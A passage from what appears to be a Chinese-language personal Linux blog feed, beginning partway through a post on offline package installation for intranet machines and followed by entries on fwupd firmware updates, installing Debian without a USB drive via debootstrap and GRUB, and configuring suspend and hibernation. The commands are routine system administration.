&lt;h2 id=&quot;nei-wang-ji-qi-an-zhuang-3&quot;&gt;========== 内网机器安装 ==========&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cd &amp;#x2F;data&amp;#x2F;pkgs&amp;#x2F;nginx&amp;#x2F;
apk add --allow-untrusted *.apk
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;fang-an-er-tong-bu-wan-zheng-cang-ku-gua-he-da-gui-mo-nei-wang-huan-jing&quot;&gt;方案二：同步完整仓库（适合大规模内网环境）&lt;&#x2F;h1&gt;
&lt;p&gt;如果内网机器很多，每次都手动下载包太麻烦。可以搭建本地 yum&#x2F;apt 仓库。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;centos-shi-yong-reposync-tong-bu-cang-ku&quot;&gt;CentOS 使用 reposync 同步仓库&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装同步工具
yum install yum-utils createrepo -y
# 同步base仓库（根据需要选择仓库）
reposync -r base -p &amp;#x2F;data&amp;#x2F;local-repo&amp;#x2F;
# 同步epel仓库
reposync -r epel -p &amp;#x2F;data&amp;#x2F;local-repo&amp;#x2F;
# 创建仓库元数据
createrepo &amp;#x2F;data&amp;#x2F;local-repo&amp;#x2F;base&amp;#x2F;
createrepo &amp;#x2F;data&amp;#x2F;local-repo&amp;#x2F;epel&amp;#x2F;
# 打包传输到内网
cd &amp;#x2F;data&amp;#x2F;
tar -czf local-repo.tar.gz local-repo&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;nei-wang-ji-qi-pei-zhi-ben-di-cang-ku&quot;&gt;========== 内网机器配置本地仓库 ==========&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 解压仓库文件
tar -xzf local-repo.tar.gz -C &amp;#x2F;data&amp;#x2F;
# 配置yum源
cat &amp;gt; &amp;#x2F;etc&amp;#x2F;yum.repos.d&amp;#x2F;local.repo &amp;lt;&amp;lt;EOF
[local-base]
name=Local Base Repository
baseurl=file:&amp;#x2F;&amp;#x2F;&amp;#x2F;data&amp;#x2F;local-repo&amp;#x2F;base
enabled=1
gpgcheck=0

[local-epel]
name=Local EPEL Repository
baseurl=file:&amp;#x2F;&amp;#x2F;&amp;#x2F;data&amp;#x2F;local-repo&amp;#x2F;epel
enabled=1
gpgcheck=0
EOF

# 清理缓存并测试
yum clean all
yum makecache
yum repolist
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ubuntu-shi-yong-apt-mirror-tong-bu-cang-ku&quot;&gt;Ubuntu 使用 apt-mirror 同步仓库&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装同步工具
apt install apt-mirror -y

# 编辑配置文件
vim &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;mirror.list
# 修改内容如下：
set base_path    &amp;#x2F;data&amp;#x2F;apt-mirror
deb http:&amp;#x2F;&amp;#x2F;mirrors.aliyun.com&amp;#x2F;ubuntu focal main restricted universe multiverse
deb http:&amp;#x2F;&amp;#x2F;mirrors.aliyun.com&amp;#x2F;ubuntu focal-updates main restricted universe multiverse

# 开始同步（注意：完整同步需要很大空间，100GB+）
apt-mirror

# 打包核心部分传输到内网
cd &amp;#x2F;data&amp;#x2F;apt-mirror&amp;#x2F;mirror&amp;#x2F;mirrors.aliyun.com&amp;#x2F;
tar -czf ubuntu-repo.tar.gz ubuntu&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;nei-wang-ji-qi-pei-zhi-ben-di-yuan&quot;&gt;========== 内网机器配置本地源 ==========&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 配置本地源
cat &amp;gt; &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;sources.list &amp;lt;&amp;lt;EOF
deb [trusted=yes] file:&amp;#x2F;&amp;#x2F;&amp;#x2F;data&amp;#x2F;ubuntu-repo focal main restricted universe multiverse
deb [trusted=yes] file:&amp;#x2F;&amp;#x2F;&amp;#x2F;data&amp;#x2F;ubuntu-repo focal-updates main restricted universe multiverse
EOF

# 更新并测试
apt update
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;fang-an-san-rong-qi-jing-xiang-chi-xian-dao-ru-gua-he-rong-qi-hua-ying-yong&quot;&gt;方案三：容器镜像离线导入（适合容器化应用）&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;lian-wang-ji-qi-cao-zuo&quot;&gt;========== 联网机器操作 ==========&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 拉取镜像
docker pull nginx:latest
docker pull mysql:8.0

# 导出镜像为tar文件
docker save nginx:latest -o nginx-latest.tar
docker save mysql:8.0 -o mysql-8.0.tar

# 或批量导出
docker save $(docker images -q) -o all-images.tar
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;nei-wang-ji-qi-cao-zuo&quot;&gt;========== 内网机器操作 ==========&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 导入镜像
docker load -i nginx-latest.tar
docker load -i mysql-8.0.tar

# 查看导入的镜像
docker images

# 使用镜像
docker run -d -p 80:80 nginx:latest
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;chang-jian-wen-ti-pai-cha&quot;&gt;常见问题排查&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;wen-ti-1-yi-lai-bao-ban-ben-chong-tu&quot;&gt;问题1：依赖包版本冲突&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;症状：安装时提示依赖版本不匹配&lt;&#x2F;li&gt;
&lt;li&gt;解决：强制安装或降级&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;rpm -ivh --force --nodeps xxx.rpm  # 不推荐，可能导致系统问题
# 更好的办法：在联网机器上模拟内网环境再下载
yum --installroot=&amp;#x2F;data&amp;#x2F;test-env install nginx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;wen-ti-2-nei-wang-ji-qi-xi-tong-ban-ben-he-lian-wang-ji-qi-bu-yi-zhi&quot;&gt;问题2：内网机器系统版本和联网机器不一致&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;症状：下载的包在内网无法安装&lt;&#x2F;li&gt;
&lt;li&gt;解决：确保两边系统版本一致&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat &amp;#x2F;etc&amp;#x2F;os-release  # 查看系统版本
# 或者使用Docker容器模拟相同环境下载
docker run -it --rm -v &amp;#x2F;data&amp;#x2F;pkgs:&amp;#x2F;pkgs centos:7 bash
yum install --downloadonly --downloaddir=&amp;#x2F;pkgs&amp;#x2F;nginx nginx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;wen-ti-3-xia-zai-de-bao-bu-quan-an-zhuang-shi-huan-shi-ti-shi-que-yi-lai&quot;&gt;问题3：下载的包不全，安装时还是提示缺依赖&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;原因：可能是内网机器已安装的包版本和下载的依赖不匹配&lt;&#x2F;li&gt;
&lt;li&gt;解决：使用 yumdownloader 下载所有依赖&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;yum install yum-utils -y
yumdownloader --resolve --destdir=&amp;#x2F;data&amp;#x2F;pkgs&amp;#x2F;nginx nginx

# 参数解释
--resolve    # 解析并下载所有依赖
--destdir    # 指定下载目录
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;shi-yong-ji-qiao-zong-jie&quot;&gt;实用技巧总结&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;模拟内网环境下载&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;在联网机器上创建和内网相同的干净环境&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;docker run -it --rm -v &amp;#x2F;data:&amp;#x2F;data centos:7 bash
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;在容器内下载，确保依赖准确&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;批量下载多个软件&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;创建软件列表&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat &amp;gt; software-list.txt &amp;lt;&amp;lt;EOF
nginx
mysql-server
git
vim
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;批量下载&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;while read pkg; do
  yum install --downloadonly --downloaddir=&amp;#x2F;data&amp;#x2F;pkgs&amp;#x2F;$pkg $pkg
done &amp;lt; software-list.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;检查下载是否完整&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;列出所有rpm包及依赖关系&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;rpm -qpR &amp;#x2F;data&amp;#x2F;pkgs&amp;#x2F;nginx&amp;#x2F;*.rpm
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mp.weixin.qq.com&#x2F;s&#x2F;bmTND8Se398a1XdB4J5YYA?poc_token=HIi8-WijPaouTTo4Dbrcz5nkTRaeCJf5j-M5tgnw&quot;&gt;转载地址&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux bios刷新工具fwupd</title>
        <published>2025-10-22T23:39:05+08:00</published>
        <updated>2025-10-22T23:39:05+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/linux bios刷新工具fwupd/"/>
        <id>https://vercel.juzhong.asia/2025/10/linux bios刷新工具fwupd/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/linux bios刷新工具fwupd/">&lt;h1 id=&quot;linux-gu-jian-shua-xin-gong-ju&quot;&gt;Linux 固件刷新工具&lt;&#x2F;h1&gt;
&lt;p&gt;fwupd： 这是一个 Linux 上的通用固件更新守护进程。如果您的电脑硬件制造商支持 fwupd，您可以在 Debian 系统上安装并使用它来检查和安装固件更新。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt update
sudo apt install fwupd
sudo fwupdmgr refresh
sudo fwupdmgr get-updates
sudo fwupdmgr update
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>免U盘安装debian系统</title>
        <published>2025-10-22T22:33:33+08:00</published>
        <updated>2025-10-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/免U盘安装debian系统/"/>
        <id>https://vercel.juzhong.asia/2025/10/免U盘安装debian系统/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/免U盘安装debian系统/">&lt;h1 id=&quot;shi-yong-debootstrap-gou-jian-yi-ge-yuan-sheng-debian-xi-tong-bing-yin-dao-qi-dong-tui-jian&quot;&gt;使用 debootstrap 构建一个原生 Debian 系统并引导启动（推荐）&lt;&#x2F;h1&gt;
&lt;p&gt;这是最干净、最安全、完全不需要U盘的方法。
你会在 Ubuntu 里“手工安装”一个 Debian，然后让 grub 启动它。&lt;&#x2F;p&gt;
&lt;p&gt;如果没有空闲分区， 缩小 Ubuntu 的根分区，腾出 20GB 以上空间，创建一个 ext4 分区。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;lsblk
sudo apt update
sudo apt install debootstrap grub2 systemd-container
# debootstrap 安装 Debian（例如 Debian 13 Trixie）
sudo debootstrap trixie &amp;#x2F;mnt&amp;#x2F;debian http:&amp;#x2F;&amp;#x2F;deb.debian.org&amp;#x2F;debian
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这一步会自动在 &#x2F;mnt&#x2F;debian 下生成一个完整的 Debian 根文件系统。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 挂载关键目录并进入 Debian 环境
mount &amp;#x2F;dev&amp;#x2F;nvme0n1p3&amp;#x2F; &amp;#x2F;mnt&amp;#x2F;debian&amp;#x2F;
mount --bind &amp;#x2F;dev &amp;#x2F;mnt&amp;#x2F;debian&amp;#x2F;dev
mount --bind &amp;#x2F;dev&amp;#x2F;pts &amp;#x2F;mnt&amp;#x2F;debian&amp;#x2F;dev&amp;#x2F;pts
mount --bind &amp;#x2F;proc &amp;#x2F;mnt&amp;#x2F;debian&amp;#x2F;proc
mount --bind &amp;#x2F;sys &amp;#x2F;mnt&amp;#x2F;debian&amp;#x2F;sys
mount --bind &amp;#x2F;run &amp;#x2F;mnt&amp;#x2F;debian&amp;#x2F;run
mount &amp;#x2F;dev&amp;#x2F;nvme0n1p1 &amp;#x2F;mnt&amp;#x2F;debian&amp;#x2F;boot&amp;#x2F;efi   # 替换为你的 ESP 分区

sudo chroot &amp;#x2F;mnt&amp;#x2F;debian

# 在 chroot 中配置系统（此时你“已经在 Debian 中”）
# 设置主机名
echo debian &amp;gt; &amp;#x2F;etc&amp;#x2F;hostname
# 配置 apt 源
cat &amp;gt; &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;sources.list.d&amp;#x2F;debian.sources &amp;lt;&amp;lt;EOF
Types: deb
URIs: http:&amp;#x2F;&amp;#x2F;mirrors.ustc.edu.cn&amp;#x2F;debian
Suites: trixie trixie-updates
Components: main contrib non-free non-free-firmware
Signed-By: &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;keyrings&amp;#x2F;debian-archive-keyring.gpg

Types: deb
URIs: http:&amp;#x2F;&amp;#x2F;mirrors.ustc.edu.cn&amp;#x2F;debian-security
Suites: trixie-security
Components: main contrib non-free non-free-firmware
Signed-By: &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;keyrings&amp;#x2F;debian-archive-keyring.gpg
EOF
apt update
apt install -y linux-image-amd64 locales sudo vim network-manager
apt install -y grub-efi-amd64-bin grub-efi-amd64-signed grub-efi-amd64
apt install -y systemd vim wget curl tmux openssh-server iproute2 net-tools ifupdown systemd-resolved
apt install -y firmware-linux firmware-realtek firmware-iwlwifi
apt install -y iw wpasupplicant wireless-tools
apt install firmware-sof-signed # firmware-intel-sound
apt install -y tasksel
tasksel install standard --new-install
# 这会安装约 300MB 的常用包，包括完整网络支持、man 手册、日志工具等。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pei-zhi-wang-luo-he-efiqi-dong-xiang&quot;&gt;配置网络和efi启动项&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mkdir -p &amp;#x2F;etc&amp;#x2F;wpa_supplicant
# 可选： 使用 wpa_passphrase 工具生成加密的配置，而不是明文密码
# wpa_passphrase YOUR_SSID YOUR_PASSWORD &amp;gt; &amp;#x2F;etc&amp;#x2F;wpa_supplicant&amp;#x2F;wpa_supplicant.conf
cat&amp;lt;&amp;lt;EOF &amp;gt; &amp;#x2F;etc&amp;#x2F;wpa_supplicant&amp;#x2F;wpa_supplicant-wlp0s20f3.conf
ctrl_interface=&amp;#x2F;run&amp;#x2F;wpa_supplicant
update_config=1
network={
    ssid=&amp;quot;wifi ssid&amp;quot;
    psk=&amp;quot;wifi passwd&amp;quot;
}
EOF
cat &amp;gt;&amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;network&amp;#x2F;20-wifi.network &amp;lt;&amp;lt;&amp;#x27;EOF&amp;#x27;
[Match]
Name=wlp0s20f3
[Network]
DHCP=yes
EOF
chmod 600 &amp;#x2F;etc&amp;#x2F;wpa_supplicant&amp;#x2F;wpa_supplicant-wlp0s20f3.conf
systemctl enable systemd-networkd
systemctl enable systemd-resolved
systemctl enable wpa_supplicant@wlp0s20f3

# 这会在 wpa_supplicant 连接 Wi-Fi 成功后自动获取 IP

# 使用更现代的 iwd（更简单）
apt install -y iwd
systemctl enable iwd
# 连接 Wi-Fi（交互式）：
iwctl
# [iwd]# device list
# [iwd]# station wlp2s0 scan
# [iwd]# station wlp2s0 get-networks
# [iwd]# station wlp2s0 connect 你的WiFi名称
# [iwd]# exit
# 一旦连上，systemd-networkd 会自动分配 IP 并联网。
# iwd 会自动保存密码，下次开机自动连接。

adduser peter
adduser peter sudo
blkid  # 查看新分区 UUID
cat&amp;lt;&amp;lt;EOF &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;fstab
UUID=你的新分区UUID &amp;#x2F; ext4 defaults 0 1
EOF
# 安装 grub 到磁盘并更新菜单
# grub-install &amp;#x2F;dev&amp;#x2F;nvme0n1
grub-install --target=x86_64-efi --efi-directory=&amp;#x2F;boot&amp;#x2F;efi --bootloader-id=DEBIAN --force

update-grub
# 它会检测到你的 Ubuntu + Debian 双系统。
# 重启后你会在 GRUB 菜单里看到 “Debian GNU&amp;#x2F;Linux”。
sudo reboot

sudo efibootmgr --create --disk &amp;#x2F;dev&amp;#x2F;nvme0n1 --part 1 --label &amp;quot;Debian&amp;quot; --loader &amp;#x27;\EFI\debian\grubx64.efi&amp;#x27;
# &amp;#x2F;dev&amp;#x2F;nvme0n1 和 --part 1 要替换为你的实际 EFI 分区所在磁盘与分区号。
# 可用 lsblk -f 或 findmnt &amp;#x2F;boot&amp;#x2F;efi 查看。
# 如果你的路径是 &amp;#x2F;boot&amp;#x2F;efi&amp;#x2F;EFI&amp;#x2F;debian&amp;#x2F;grubx64.efi，那 loader 路径就对了。
sudo efibootmgr --bootnum 0001 --bootorder 0001,0000,0002
sudo efibootmgr -v
# 重启后使用F12 可以选择efi的条目
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;deng-lu-debianzhong-an-zhuang&quot;&gt;登录debian中安装&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# apt install locales
# dpkg-reconfigure locales
sudo vim &amp;#x2F;etc&amp;#x2F;locale.gen
# 在文件中找到包含 zh_CN.UTF-8 的那一行，并取消注释（即删除行首的 # 符号）。
#zh_CN.GBK GBK
zh_CN.UTF-8 UTF-8   &amp;lt;-- 确保这一行没有 #
#zh_HK.UTF-8 UTF-8

# 设置系统默认 locale（可选）：
sudo update-locale LANG=zh_CN.UTF-8
# 或者保留英文界面但支持中文显示：
sudo update-locale LANG=en_US.UTF-8 LANGUAGE=zh_CN:en
# 安装简体中文语言支持包
sudo apt-get install language-pack-zh-hans
# sudo localedef -i zh_CN -f UTF-8 zh_CN.UTF-8
# 较完整，适合新硬件，推荐主流使用：
sudo apt install task-gnome-desktop -y
sudo apt install -y network-manager-gnome

sudo systemctl disable wpa_supplicant@wlp0s20f3
sudo systemctl enable NetworkManager
sudo systemctl start NetworkManager
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;shi-yong-systemd-nspawn-qi-dong-wan-zheng-debian-rong-qi-xi-tong&quot;&gt;使用 systemd-nspawn 启动完整 Debian 容器系统&lt;&#x2F;h1&gt;
&lt;p&gt;如果你暂时不想重启，可以直接在 Ubuntu 下运行“原生 Debian 系统容器”：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo debootstrap trixie &amp;#x2F;srv&amp;#x2F;debian http:&amp;#x2F;&amp;#x2F;deb.debian.org&amp;#x2F;debian
sudo systemd-nspawn -D &amp;#x2F;srv&amp;#x2F;debian
# 这会直接进入一个 Debian 容器（有独立的 &amp;#x2F;etc、&amp;#x2F;usr、apt、systemd），
# 就像一个轻量虚拟机，非常适合测试迁移。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;shi-yong-grub-yin-dao-iso-jing-xiang-zhi-jie-an-zhuang-debian-wu-upan-an-zhuang&quot;&gt;使用 grub 引导 ISO 镜像直接安装 Debian（无U盘安装）&lt;&#x2F;h1&gt;
&lt;p&gt;可以让 grub 直接从 Debian ISO 启动：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;wget https:&amp;#x2F;&amp;#x2F;cdimage.debian.org&amp;#x2F;debian-cd&amp;#x2F;current&amp;#x2F;amd64&amp;#x2F;iso-cd&amp;#x2F;debian-13.0.0-amd64-netinst.iso -O &amp;#x2F;boot&amp;#x2F;debian.iso
cat &amp;lt;&amp;lt;EOF | sudo tee -a &amp;#x2F;etc&amp;#x2F;grub.d&amp;#x2F;40_custom
menuentry &amp;quot;Install Debian 13 (from ISO)&amp;quot; {
    set isofile=&amp;quot;&amp;#x2F;boot&amp;#x2F;debian.iso&amp;quot;
    loopback loop (hd0,3)$isofile
    linux (loop)&amp;#x2F;install.amd&amp;#x2F;vmlinuz boot=install iso-scan&amp;#x2F;filename=$isofile
    initrd (loop)&amp;#x2F;install.amd&amp;#x2F;initrd.gz
}
EOF
sudo update-grub
# 重启，选择 “Install Debian 13 (from ISO)”
# 安装时选择 保留 &amp;#x2F;home 分区，即可实现无U盘切换系统。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;EOF&lt;&#x2F;p&gt;
&lt;h1 id=&quot;wang-luo-qi-dong-pxe-huo-ipxe-gao-ji&quot;&gt;网络启动（PXE）或 iPXE（高级）&lt;&#x2F;h1&gt;
&lt;p&gt;若你的笔记本支持 PXE 网络启动，可通过局域网加载 Debian 安装器。
需另一台电脑作为 TFTP&#x2F;DHCP 服务器，配置复杂，一般用户不推荐。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;chuang-jian-xu-ni-ci-pan-zuo-wei-lin-shi-live-huan-jing-ji-bu-tui-jian&quot;&gt;创建虚拟磁盘作为临时“Live 环境”（极不推荐）&lt;&#x2F;h1&gt;
&lt;p&gt;理论上可用 kexec 加载新内核 + initrd 实现“内存中切换”，但操作复杂、风险极高，且仍需处理分区缩小问题。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux电源管理</title>
        <published>2025-10-18T15:08:53+08:00</published>
        <updated>2026-08-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/linux电源管理/"/>
        <id>https://vercel.juzhong.asia/2025/10/linux电源管理/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/linux电源管理/">&lt;h1 id=&quot;cha-kan-suspendxiu-mian-pei-zhi-mo-shi&quot;&gt;查看suspend休眠配置模式&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat &amp;#x2F;sys&amp;#x2F;power&amp;#x2F;mem_sleep
echo deep | sudo tee &amp;#x2F;sys&amp;#x2F;power&amp;#x2F;mem_sleep
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;pei-zhi-hibernatexiu-mian&quot;&gt;配置hibernate休眠&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat &amp;#x2F;etc&amp;#x2F;fstab
swapon --show
sudo swapoff -a
sudo dd if=&amp;#x2F;dev&amp;#x2F;zero of=&amp;#x2F;swapfile bs=1G count=17
sudo swapon &amp;#x2F;swapfile

# 获取swap文件的offset
sudo filefrag -v &amp;#x2F;swapfile | awk &amp;#x27;{if($1==&amp;quot;0:&amp;quot;) print $4}&amp;#x27;
# 查看根分区 UUID
findmnt -no UUID -T &amp;#x2F;

sudo vim &amp;#x2F;etc&amp;#x2F;default&amp;#x2F;grub
# GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;quiet splash mem_sleep_default=deep resume=UUID=&amp;lt;磁盘分区UUID&amp;gt; resume_offset=&amp;lt;swap文件偏移量&amp;gt;&amp;quot;
sudo update-grub
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;pei-zhi-dian-yuan-guan-li&quot;&gt;配置电源管理&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat &amp;lt;&amp;lt;EOF &amp;gt; &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;sleep.conf.d&amp;#x2F;enable-sleep.conf
AllowSuspend=yes
AllowHibernation=yes
HibernateMode=platform shutdown
HibernateState=disk
AllowSuspendThenHibernate=yes
AllowHybridSleep=yes
SuspendState=mem standby freeze
EOF

sudo mkdir &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;logind.conf.d
cat &amp;lt;&amp;lt;EOF | sudo tee &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;logind.conf.d&amp;#x2F;override.conf
[Login]
HandlePowerKey=suspend-then-hibernate
HandleRebootKey=reboot
HandleRebootKeyLongPress=poweroff
HandleSuspendKey=suspend
HandleSuspendKeyLongPress=hibernate
IdleAction=suspend-then-hibernate
IdleActionSec=30min
EOF

systemd-analyze cat-config systemd&amp;#x2F;sleep.conf
systemd-analyze cat-config systemd&amp;#x2F;logind.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;fang-xiu-mian-rang-ji-qi-sui-shi-ke-lian&quot;&gt;防休眠（让机器随时可连）&lt;&#x2F;h1&gt;
&lt;p&gt;场景：远程机（笔记本、服务器）需要 7x24 可 SSH 连接，不能自动睡。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fang-an-yi-mask-xiu-mian-mu-biao-jian-dan-cu-bao&quot;&gt;方案一：mask 休眠目标（简单粗暴）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 屏蔽所有休眠途径：空闲挂起、合盖、电源键、手动 suspend 全部失效
sudo systemctl mask sleep.target suspend.target hibernate.target hybrid-sleep.target suspend-then-hibernate.target
# 验证（显示 masked）
systemctl list-units --type=target --all | grep -Ei &amp;quot;suspend|sleep|hibernate&amp;quot;
# 恢复
sudo systemctl unmask sleep.target suspend.target hibernate.target hybrid-sleep.target suspend-then-hibernate.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
